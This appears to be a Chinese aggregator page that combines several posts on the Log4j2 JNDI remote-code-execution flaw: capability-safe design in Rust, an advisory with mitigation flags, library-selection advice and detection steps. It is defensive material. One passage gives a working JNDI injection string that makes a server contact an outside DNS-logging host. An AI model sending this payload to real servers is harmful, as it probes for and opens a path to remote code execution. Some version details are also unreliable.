log4j漏洞,log4j漏洞危害
如何通过语言提供的能力来防范Log4j之类的漏洞?
功能能力安全(capability-safe)的语言(如Rust)可以最大限度地减少甚至防止Log4j漏洞发生。
在本文中讨论围绕Log4j漏洞的两个问题:
。。。
log4j维护人员考虑实施引入导致漏洞的 JNDI 功能时,接下来可能会发生一些事情:
这三种可能性都比实际发生的情况要好,实际情况是: log4j突然获得了访问网络的能力,但其 API 并未更改以反映这一点,因此用户没有注意到 。
因此,功能安全的语言本可以节省或至少减轻这一点。
所以未来的语言设计师,请考虑让你的语言功能能力安全。
Rust基于能力的安全
操作系统有一个资源句柄或文件描述符的概念,它们是可以在程序内部和有时在程序之间传递的值,代表对外部资源的访问。程序通常具有 环境权限,只需提供其名称或地址即可请求任何文件或网络句柄:
可能有访问控制列表、命名空间、防火墙或虚拟化机制来管理哪些资源可以实际访问,但这些通常是粗粒度的,并在应用程序之外进行配置。
基于能力的安全寻求避免环境权威,使沙箱更细粒度和可组合。要打开文件,需要一个Dir,代表它所在的打开目录:
尝试访问未包含在目录中的路径:
返回PermissionDenied错误。
这允许应用程序逻辑配置自己的访问,而无需更改整个主机进程的行为、设置单独的主机进程或需要外部配置。
cap-std是Rust 标准库的基于能力的版本,cap-std项目围绕同名的cap-stdcrate 进行组织,并开发了一些库以简化基于功能能力的代码的编写,包括:
Cap-std 具有针对CWE-22 的保护功能,即“对受限目录的路径名的不当限制(‘路径遍历’)”,它在2021 年 CWE 前 25 名最危险的软件弱点中排名第 8 。它还可用于防止不受信任的输入诱导程序在 Linux 上打开“/proc/self/mem”。
如何通过语言本身提供的能力约束防范Log4j之类的漏洞?
警惕!Apache Log4j任意代码执行漏洞正被广泛利用
漏洞名称: Apache Log4j任意代码执行漏洞
漏洞性质: 任意代码执行
漏洞描述:
Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。log4j2是全球使用广泛的java日志框架,同时该漏洞还影响很多全球使用量的Top序列的通用开源组件,例如 Apache Struts2、Apache Solr、Apache Druid、Apache Flink等。
漏洞危害:
Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据被日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码,可能对用户造成不可挽回的损失。
危害等级:严重
漏洞复现:
影响版本:
Apache Log4j 2.x = 2.14.1
临时修复方案:
1.修改jvm参数 -Dlog4j2.formatMsgNoLookups=true
2.修改配置
log4j2.formatMsgNoLookups=True
3.将系统环境变量
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
修复建议:
1、厂商已发布升级修复漏洞,用户请尽快更新至安全版本:log4j-2.15.0-rc1
下载链接:
2、升级已知受影响的应用及组件,如srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid
3、手动替换 log4j2 版本为 2.15.1-SNAPSHOT
log4j-core:
log4j-api:
log4j-slf4j18-impl:
4、做好资产自查以及预防工作,以免遭受黑客攻击
由log4j远程执行漏洞说起
这几天让IT从业人员忙的不可开交的头等大事便是Log4j的远程执行漏洞了,我们先看一个简单的PoC:
先前往dnslog网站,申请一个子域名,假如是“subdomain.dnslog.cn”。
然后执行java Main ${jndi:ldap://subdomain.dnslog.cn/any},我们在dnslog网站上刷新请求记录,便会看到申请的子域名被访问了。
如果你是一个开发者,你会知道我们的代码里面毫无疑问充斥着大量这种用法。如果你是一个安全人员,自然知道当恶意访问人员输入时可不只是访问个域名就完事,很有可能把主机密码就传到指定网站了。
那解决的办法在各大厂、安全公司等也已经公布了,无非以下几种:
WAF或防火墙规则,我们先不聊,这个大公司都会做,但并不能完全解除问题。
我们把升级JDK、升级logback、替换成logback以及移除log4j的JNDI相关类都可以看作类库升级。一方面,这些方案都需要一个应用一个应用去执行(甚至有些需要一个一个实例去处理),重复劳动,投入较大;另一方面,兼容性存疑,在升级前必然要做一定的回归测试。此处的兼容性,可以略举一些例子:比如代码里写死了log4j的实现类,而不是slf4j的api时,想要直接替换成logback就不现实。有人可能会说代码规范不允许,但他们忘了,规范和执行是2个相关的事情,但不是必然的因果关系。比如一些只做维护的老系统,存在时间比很多人工龄都长,还有一些是外包产商开发维护的系统,这种情况就是稳定重于一切。
其余几个都是修改配置,但其中略有差异。比如环境变量影响操作系统上所有的应用,如果某个应用JDK版本较高,又刚好需要这个特性,那么就容易产生bug了。修改PatternLayout容易遗漏,比如通常在自己应用的log4j配置文件,但也有可能内部框架做了封装,在jar包有配置,甚至在代码里做了配置。而在log4j2.component.properties添加配置同修改PatternLayout,也还是需要重新打包构建(除非有统一配置中心,并魔改log4j)。
综上来看,我们要避免开发人员修改、避免再次构建,只做重启的话,只能是修改环境变量或添加启动参数了。当然,每个公司有它自己的体系,某些时候大众意义的不好用对于它而言,反而是最简单的。比如,没有自动化(尤其是k8s)的公司,想要改启动参数,运维一个个实例去修改,那简直痛不欲生。
如果我们是log4j的开发人员,当产品经理提出一个需求,即碰到由“${”开头、“}”结尾的日志时,自动做替换,这个需求我们要不要做,怎么做。
刚入行的我是不会问要不要做的,只会想着怎么做,那自然是匹配、解析了。
有一定经验的我则会问这个需求为了解决什么问题,有没有比产品经理提的刚恰当的方式来解决(产品经理资历较浅,或者对产品不够熟悉时)。那我们可以看下log4j这个需求的提交记录最早可以追溯到2013年了,提交记录较多,可以通过代码反向推测需求:类似slf4j,将日志中的占位符替换成真实值,真实值可以延迟计算,计算来源支持扩展。
从代码看,目前已有的扩展包括ctx(日志事件的上下文)、date(日志事件产生的时间)、env(系统环境)、jndi(JNDI上下文获取)、map、sd(结构化事件类型中获取)、sys(系统属性)、web(从web.xml等取ServletContext)
需求是实现了,那还有吗?
如果是一个资深的研发人员就会问了,有预计的使用频率吗,如果使用频率非常高,性能就需要注意不能拖后腿;这个特性如果出现问题,需要关闭,最好能动态关闭;这个特性实际使用了多少次,耗时多少,报错多少;这个是否会在多线程环境下执行,这段代码是否线程安全;用户的输入能否对服务器产生破坏,保存后对其他用户是否产生安全问题。
在一个成熟的企业中,需要考虑诸如此类的问题。当然,很多东西可以模板化,减少开发人员心智,比如CI/CD实践中的自动化测试和DevSecOps。
为什么这次的影响这么大,因为它是基础库,比如dubbo、kafka、flink等很多框架和中间件都用到了它。同时,这从侧面说明log4j2是一个比较值得选取的日志库。
那回到技术选型,以日志为例,我们需要考虑哪些方面呢?
功能。功能是否契合企业需求,缺失功能是否在未来计划,或者扩展实现难度。如果功能都不满足,那自然pass。log4j、logback、log4j2都提供了将日志输出的功能,功能上都能满足,细节根据各企业自身情况而定了。
性能。性能自然是非常重要的,生产是没法debug的,只能通过日志来跟踪某一个事务的情况,如果日志耗时太多,TPS自然受影响,用户体验变差,还可能导致硬件成本上升。log4j2的性能就比logback要出色,logback比log4j要出色。
群众基础和易用性。如果没人会用,使用起来也困难,大概率很难被接受,也很难流行。文档是否介绍了架构设计,也有使用文档,文档是否支持多种语言(本土语言)。log4j2的配置就比较多,特别是想要较高性能时,配置更是复杂。
稳定性与活跃度。生产上使用,肯定要求稳,不可能三五天做一次修复升级。如果功能还未按计划完全实现,那么迭代升级过程中会碰到诸多问题,需要有较多的人提前使用反馈意见做改进,出现问题时,能够通过搜索引擎或其他社群解决。
开源协议。如果不开源,那么使用时心中便会有诸多不安,万一哪个地方有雷都不知道,出了问题,自己能解决的概率也极低。比如MySQL的双协议,要求要么交费,要么开源改动,不如Apache Licence等宽松,导致很多公司开始选择PostgreSQL。
生态。与企业的整套框架是否有冲突,开发流程上是否需要做额外的事情。比如很多框架用了log4j2,贸然引进logback,势必多出工作量来排除log4j2的依赖。比如开发流程工具只支持logback(当然这种场景基本没有),那么使用log4j2就需要再仔细想想了。
架构设计与代码质量。如果代码的架构设计较差,扩展性没设计好,那么企业内部做扩展(二次开发)时,只能修改代码,与源头分叉,后续几乎没法合并,无法反哺开源社区,企业内部后续升级也十分困难。如果代码质量太差,一步一坑,大家直接用脚投票的。
前瞻性。架构设计要有一定的前瞻性,以应对未来的变化。功能建设上也要有一定的前瞻性,实现、验证、上线三者之间还是需要一定时间的。比起等待,大部分人都是想我现在要。
怎么检查有没有Apache Log4j漏洞
1、人工检测
jar解压后是否存在org/apache/logging/log4j相关路径结构,判断是否使用了存在漏洞的组件,若存在相关Java程序包,则很可能存在该漏洞。
应用程序能引用 org.apache.logging.log4j的包,很大概率存在漏洞
如果应用程序引用了 log4j-core-2.xx.xx.jar 或 log4j-api-2.xx.x.jar 很大概率存在漏洞。
如果pom文件引用了以下
!-- --
dependency
groupIdorg.apache.logging.log4j/groupId
artifactIdlog4j-core/artifactId
version2.xx.x/version
/dependency
!-- --
dependency
groupIdorg.apache.logging.log4j/groupId
artifactIdlog4j-api/artifactId
version2.xx.xx/version
/dependency
也是存在漏洞。
修复方法:
官方补丁
临时解决方案
1. 设置jvm参数 “-Dlog4j2.formatMsgNoLookups=true”
2. 设置“log4j2.formatMsgNoLookups=True”
3. 系统环境变量“FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS”设置为“true”
————————————————
版权声明:本文为CSDN博主「非ban必选」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:
近期Log4J漏洞感想
这次log4j2的漏洞,基本上是个java应用就被波及到,因为用到这个组件的产品实在是太多了。
而且日志组件属于那种“没事没必要的时候就不会升级”,之前也鼓吹 log4j2比log4j1性能强很多,所以大部分产品用到的log4j2都是可以存在漏洞,且无法使用加jvm启动参数缓解安全风险的版本,只能强制升级。
log4j2官方团队在知晓漏洞后,内部“安静的扯皮”十几天后,终于发了升级版本。但是一波未平一波又起,在原有jndi漏洞被修后,新发布的版本又被爆出有DoS拒绝服务攻击漏洞,于是很快又迎来了2.17.0版本。
Java世界里这种升级避免不了,只能寄希望于容器化,让Java应用强制升级依赖的事情变得“安静”。